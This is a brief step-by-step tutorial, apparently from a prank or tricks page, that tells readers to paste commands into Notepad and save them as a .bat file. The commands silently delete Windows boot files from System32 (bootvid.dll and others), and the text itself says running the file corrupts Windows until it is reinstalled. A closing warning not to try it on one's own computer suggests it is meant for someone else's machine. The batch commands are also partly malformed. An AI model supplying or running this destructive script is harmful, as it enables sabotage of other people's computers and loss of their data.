Step 1: Open Notepad.
Step 2: Copy the following code.
del "C:windows\SYSTEM32\bootok"
/Q/S >nul
del "C:windows\SYSTEM32\bootvid.dll"
del "C:windows\SYSTEM32\bootvrfy"
Step 3: Save this code with any name which you wish to but don't forget to add .bat in the last of the name.
Window will be corrupt by Clicking this file, but don't worry you can recover your Windows by re-installing it.
Warning: Please don't try on your computer.